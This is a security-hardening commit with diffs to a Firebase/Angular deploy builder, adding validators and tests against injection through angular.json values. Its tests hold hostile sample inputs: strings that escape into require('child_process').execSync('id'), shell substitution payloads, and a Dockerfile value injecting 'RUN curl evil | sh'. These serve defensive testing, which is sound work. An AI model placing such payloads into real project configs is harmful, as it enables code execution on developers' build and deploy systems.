fix(deploy): prevent code-generation injection from angular.json values

The SSR deploy builders interpolate several angular.json values into generated
artifacts that are later executed: a server build target's outputPath into the
Cloud Function index.js and the Cloud Run package.json start script, functionName
into the exports assignment, region into the .region() call, and
functionsNodeVersion into the Cloud Run Dockerfile FROM line.

region is escaped structurally with JSON.stringify in the template, and the start
script now quotes its path, so a shell no longer splits or expands it. On top of
that, outputPath, functionName and functionsNodeVersion are screened before code
generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion).

assertSafeOutputPath rejects only what is still live once the start script is
quoted: quotes, a backslash and line terminators, which break out of the
require() string literal, `$` and a backtick, which are still command
substitution inside double quotes, and a leading dash, which node reads as a
flag. functionName is only screened on the Functions path, where it becomes a
JavaScript identifier. functionsNodeVersion is screened against Docker's tag
grammar, since the value is a node image tag, with latest excluded because its
slim variant is published as node:slim.

The functionName and region schema patterns are left to #3726, which already
carries stricter versions of both. The functionsNodeVersion schema pattern stays
here and matches the runtime check exactly.

The TODO above the gcloud calls is restored in narrowed form, covering the values
that are still unvalidated: firebaseProject, vpcConnector, and the outputPath
deploy option.

Author: herdiyana256

src/schematics/deploy/actions.jasmine.ts

@@ -1,9 +1,10 @@
 /* eslint-disable @typescript-eslint/no-empty-function */
 import { join } from 'path';
+import { Script } from 'vm';
 import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
 import { JsonObject, logging } from '@angular-devkit/core';
 import { BuildTarget, DeployBuilderSchema, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
-import deploy, { assertSafeDependencyName, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToFunction, findPackageVersion, processHost } from './actions.js'
+import deploy, { assertSafeDependencyName, assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToCloudRun, deployToFunction, findPackageVersion, processHost } from './actions.js'
 import 'jasmine';
 
 let context: BuilderContext;
@@ -429,3 +430,205 @@ describe('deploy input validation (command-injection hardening)', () => {
     });
   });
 });
+
+describe('generated artifact validation (codegen-injection hardening)', () => {
+  describe('assertSafeOutputPath', () => {
+    [
+      'dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e', '../dist/browser',
+      // Only a shell would act on these, and the one place the path reaches a shell is the
+      // generated start script, which quotes it. So they are unusual directory names rather
+      // than a way through, and rejecting them would break a deploy that works today.
+      'dist/my app', 'dist/*', 'dist/?pp', 'dist/[ab]', '~/x', 'dist\tserver', 'a;b', 'a|b',
+    ].forEach((outputPath) => {
+      it(`allows the valid outputPath ${JSON.stringify(outputPath)}`, () => {
+        expect(() => assertSafeOutputPath(outputPath, 'proj:server')).not.toThrow();
+      });
+    });
+
+    [
+      `x'); require('child_process').execSync('id'); ('`,
+      'a`id`', 'a$(id)', 'a$HOME', 'a\nb', 'a\rb', 'a"b', 'a\\b', '-rf',
+    ].forEach((outputPath) => {
+      it(`rejects the unsafe outputPath ${JSON.stringify(outputPath)}`, () => {
+        expect(() => assertSafeOutputPath(outputPath, 'proj:server')).toThrowError(/Unsafe outputPath/);
+      });
+    });
+  });
+
+  describe('assertSafeNodeVersion', () => {
+    // A Docker tag, since the Cloud Run path renders it as `FROM node:<version>-slim`.
+    [undefined, 18, 20, '18', '18.19', '20.11.1', 'lts', 'current', 'iron', '22-bookworm'].forEach((version) => {
+      it(`allows the valid functionsNodeVersion ${JSON.stringify(version)}`, () => {
+        expect(() => assertSafeNodeVersion(version)).not.toThrow();
+      });
+    });
+
+    [
+      '18-slim\nRUN curl evil | sh', '18 && id', '18;id', '$(id)', '`id`', '18/../x', 'x:y', 'x@sha256',
+      // Grammatical, but node:latest-slim has never been published.
+      'latest',
+      // Docker caps a tag at 128 characters.
+      '2'.repeat(129),
+    ].forEach((version) => {
+      it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(version)}`, () => {
+        expect(() => assertSafeNodeVersion(version)).toThrowError(/Unsafe functionsNodeVersion/);
+      });
+    });
+  });
+
+  describe('assertSafeFunctionName', () => {
+    // These are the names that can actually arrive: the schema pattern for functionName is
+    // the wider Cloud Run service-ID rule, and this is the JavaScript-identifier rule the
+    // Cloud Functions path needs on top of it.
+    [undefined, 'ssr', 'ssrHandler', 'a1', 'my_fn'].forEach((functionName) => {
+      it(`allows the valid functionName ${JSON.stringify(functionName)}`, () => {
+        expect(() => assertSafeFunctionName(functionName)).not.toThrow();
+      });
+    });
+
+    [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((functionName) => {
+      it(`rejects the unsafe functionName ${JSON.stringify(functionName)}`, () => {
+        expect(() => assertSafeFunctionName(functionName)).toThrowError(/Unsafe functionName/);
+      });
+    });
+  });
+});
+
+// Runs a generated index.js against stubs, recording what it required and what it ran, so a
+// payload that escaped its context is caught by having executed rather than by how it reads.
+const runGeneratedFunction = (source: string) => {
+  const required: string[] = [];
+  const executed: string[] = [];
+  const stub: Record<string, any> = {
+    app: () => ({}),
+    https: { onRequest: (app: unknown) => app },
+    execSync: (command: string) => { executed.push(command); return ''; },
+  };
+  stub.region = () => stub;
+  stub.runWith = () => stub;
+  const exports: Record<string, unknown> = {};
+  const run = () => new Script(source).runInNewContext({
+    exports,
+    module: { exports },
+    require: (id: string) => { required.push(id); return stub; },
+  });
+  return { required, executed, exports, run };
+};
+
+// These drive the builders end-to-end so the protection cannot be silently dropped: every
+// assertSafe* call site in deployToFunction / deployToCloudRun is covered by a spec here
+// that fails if that call is removed, and so is the region escaping in the template. That
+// includes the static build target, whose outputPath only ever reaches the filesystem and
+// so has nothing exploitable to assert beyond the rejection itself.
+describe('generated artifact validation is wired into the builders', () => {
+  beforeEach(() => initMocks());
+
+  const withOutputPaths = (
+    staticOutputPath: string,
+    serverOutputPath: string,
+  ): BuilderContext['getTargetOptions'] => (target: Target) => {
+    if (target.target === 'build') { return Promise.resolve({ outputPath: staticOutputPath }); }
+    if (target.target === 'server') { return Promise.resolve({ outputPath: serverOutputPath }); }
+    // Matches architect, which throws rather than handing back options-less targets.
+    throw new Error(`Invalid target: ${JSON.stringify(target)}.`);
+  };
+
+  const withServerOutputPath = (outputPath: string) => withOutputPaths('dist/browser', outputPath);
+  const withStaticOutputPath = (outputPath: string) => withOutputPaths(outputPath, 'dist/server');
+
+  const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`;
+
+  it('deployToFunction rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a hostile static outputPath', async () => {
+    context.getTargetOptions = withStaticOutputPath(EVIL_PATH);
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a server outputPath that starts with a dash', async () => {
+    context.getTargetOptions = withServerOutputPath('-rf');
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToFunction rejects a functionName that is not a plain identifier', async () => {
+    await expectAsync(deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` },
+      undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionName/);
+  });
+
+  it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => {
+    const spy = spyOn(fsHost, 'writeFileSync');
+    const region = `us-central1'); require('child_process').execSync('id'); ('`;
+    await deployToFunction(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, region }, undefined, fsHost
+    );
+    // By path rather than by call order, so adding or reordering a write does not silently
+    // point this at the wrong file.
+    const write = spy.calls.allArgs().find(([path]) => path.endsWith('index.js'));
+    if (!write) { throw new Error('deployToFunction wrote no index.js'); }
+    const indexJs = write[1];
+    expect(indexJs).toContain(`.region(${JSON.stringify(region)})`);
+
+    // Interpolated raw, the payload closes `.region('` and the require becomes a statement
+    // of its own, which runs when the function loads. Rendered through the fixed template it
+    // stays inside a string literal, so running the source touches neither.
+    const generated = runGeneratedFunction(indexJs);
+    expect(generated.run).not.toThrow();
+    expect(generated.executed).toEqual([]);
+    expect(generated.required).not.toContain('child_process');
+    expect(Object.keys(generated.exports)).toEqual(['ssr']);
+  });
+
+  it('deployToCloudRun rejects a hostile server outputPath', async () => {
+    context.getTargetOptions = withServerOutputPath(EVIL_PATH);
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToCloudRun rejects a hostile static outputPath', async () => {
+    context.getTargetOptions = withStaticOutputPath(EVIL_PATH);
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe outputPath/);
+  });
+
+  it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => {
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
+  });
+
+  it('deployToCloudRun rejects a hostile functionsNodeVersion before touching the output directory', async () => {
+    const removeSpy = spyOn(fsHost, 'removeSync');
+    const copySpy = spyOn(fsHost, 'copySync');
+    const writeSpy = spyOn(fsHost, 'writeFileSync');
+
+    await expectAsync(deployToCloudRun(
+      firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
+      { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
+    )).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
+
+    expect(removeSpy).not.toHaveBeenCalled();
+    expect(copySpy).not.toHaveBeenCalled();
+    expect(writeSpy).not.toHaveBeenCalled();
+  });
+});

src/schematics/deploy/actions.ts

@@ -65,6 +65,58 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
 
 const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
 
+// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
+// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
+// and into the generated package.json start script, which the Cloud Run image runs through
+// a shell. That start script quotes the path (functions-templates.ts), so word splitting,
+// globbing and `~` expansion are already off; what remains live is the set below.
+//
+//   ' and \  break out of the require() string literal, as do the line terminators, since a
+//            JavaScript string literal cannot span a line
+//   " ` and $ stay live inside the double quotes of the start script: `"` closes them, and
+//            `` ` `` and `$(` are still command substitution in there
+//
+// A leading dash is rejected separately: quoting does not stop `node "-rf/main.js"` from
+// being read as a flag rather than a path.
+export const assertSafeOutputPath = (outputPath: string, targetName: string): void => {
+  if (/['"`\\$\n\r]/.test(outputPath) || outputPath.startsWith('-')) {
+    throw new SchematicsException(
+      `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
+    );
+  }
+};
+
+// functionName is interpolated raw into the generated Cloud Function source as the
+// `exports.<name>` assignment target (functions-templates.ts), which is executed when the
+// function loads. Allow only a plain JavaScript identifier so it cannot introduce further
+// statements; this also turns a name that would silently produce an unparseable file (for
+// example one containing a dash) into an explicit error.
+export const assertSafeFunctionName = (functionName: string | undefined): void => {
+  if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) {
+    throw new SchematicsException(
+      `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.`
+    );
+  }
+};
+
+// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
+// (`FROM node:<version>-slim`), executed during the Cloud Run container build, so the value
+// is a Docker image tag. This is Docker's own tag grammar, which bounds the length at 128
+// and admits none of the characters that would open a new instruction (a line terminator)
+// or point FROM at different image content (a space, a slash, a colon or an `@`). `latest`
+// is grammatical but has never resolved here: the official image publishes its slim variant
+// as node:slim, so node:latest-slim does not exist.
+// Kept in step with the functionsNodeVersion pattern in schema.json.
+const NODE_IMAGE_TAG = /^(?!latest$)[\w][\w.-]{0,127}$/;
+
+export const assertSafeNodeVersion = (version: string | number | undefined): void => {
+  if (version !== undefined && !NODE_IMAGE_TAG.test(String(version))) {
+    throw new SchematicsException(
+      `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json; expected a node image tag, such as 22 or lts.`
+    );
+  }
+};
+
 const moveSync = (src: string, dest: string) => {
   copySync(src, dest);
   removeSync(src);
@@ -249,18 +301,21 @@ export const deployToFunction = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
 
   const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut);
+  assertSafeFunctionName(options.functionName);
   const functionName = options.functionName || DEFAULT_FUNCTION_NAME;
 
   const newStaticOut = join(functionsOut, staticBuildOptions.outputPath);
@@ -401,13 +456,19 @@ export const deployToCloudRun = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
     throw new Error(
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
+  // Checked here, alongside the outputPath screens, rather than next to the Dockerfile it
+  // guards: everything below wipes and refills the output directory, so rejecting late
+  // would leave that directory half-written before throwing.
+  assertSafeNodeVersion(options.functionsNodeVersion);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -473,6 +534,9 @@ export const deployToCloudRun = async (
   if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout.toString()); }
   if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); }
 
+  // TODO validate firebaseProject, vpcConnector, and the outputPath deploy option both to
+  // limit errors and opp for injection
+
   context.logger.info(`📦 Deploying to Cloud Run`);
   await spawnAsync('gcloud', buildCloudRunBuildsSubmitArgs(cloudRunOut, serviceId, options));
   await spawnAsync('gcloud', buildCloudRunDeployArgs(serviceId, options, deployArguments));

src/schematics/deploy/functions-templates.jasmine.ts

@@ -8,6 +8,17 @@ describe('functions templates', () => {
       expect(generated).toContain(`require('firebase-functions/v1')`);
       expect(generated).not.toContain(`require('firebase-functions')`);
     });
+
+    it('escapes region rather than interpolating it into a string literal', () => {
+      const region = `us-central1'); require('child_process').execSync('id'); ('`;
+      const generated = defaultFunction('dist/app', { region }, undefined);
+      expect(generated).toContain(`.region(${JSON.stringify(region)})`);
+      // Interpolated raw, the payload closes `.region('` and the require becomes a statement
+      // of its own. Escaped, it changes nothing but that one argument, so swapping it back
+      // out has to reproduce the benign render exactly.
+      expect(generated.replace(JSON.stringify(region), JSON.stringify('us-central1')))
+        .toBe(defaultFunction('dist/app', { region: 'us-central1' }, undefined));
+    });
   });
 
   describe('defaultPackage', () => {
@@ -16,5 +27,18 @@ describe('functions templates', () => {
       expect(generated.engines.node).toBe(DEFAULT_NODE_VERSION.toString());
       expect(DEFAULT_NODE_VERSION).toBe(22);
     });
+
+    it('quotes the start script path, which a shell would otherwise split or expand', () => {
+      // `main` carries a build target's outputPath, and the Cloud Run image runs this
+      // through `npm start`.
+      expect(defaultPackage({}, {}, {}, 'dist/my app/main.js').scripts.start)
+        .toBe('node "dist/my app/main.js"');
+      expect(defaultPackage({}, {}, {}, 'dist/[ab]/main.js').scripts.start)
+        .toBe('node "dist/[ab]/main.js"');
+    });
+
+    it('falls back to the functions shell when there is no main', () => {
+      expect(defaultPackage({}, {}, {}).scripts.start).toBe('firebase functions:shell');
+    });
   });
 });

src/schematics/deploy/functions-templates.ts

@@ -23,7 +23,10 @@ export const defaultPackage = (
   description: 'Angular Universal Application',
   main: main ?? 'index.js',
   scripts: {
-    start: main ? `node ${main}` : 'firebase functions:shell',
+    // Quoted: `npm start` hands this to a shell, and `main` carries a build target's
+    // outputPath, so an unquoted path with a space in it splits and one with a glob
+    // character in it expands before node ever sees it.
+    start: main ? `node "${main}"` : 'firebase functions:shell',
   },
   engines: {
     node: (options.functionsNodeVersion || DEFAULT_NODE_VERSION).toString()
@@ -47,7 +50,7 @@ require("firebase-functions/logger/compat");
 const expressApp = require('./${path}/main').app();
 
 exports.${functionName || DEFAULT_FUNCTION_NAME} = functions
-  .region('${options.region || DEFAULT_FUNCTION_REGION}')
+  .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)})
   .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)})
   .https
   .onRequest(expressApp);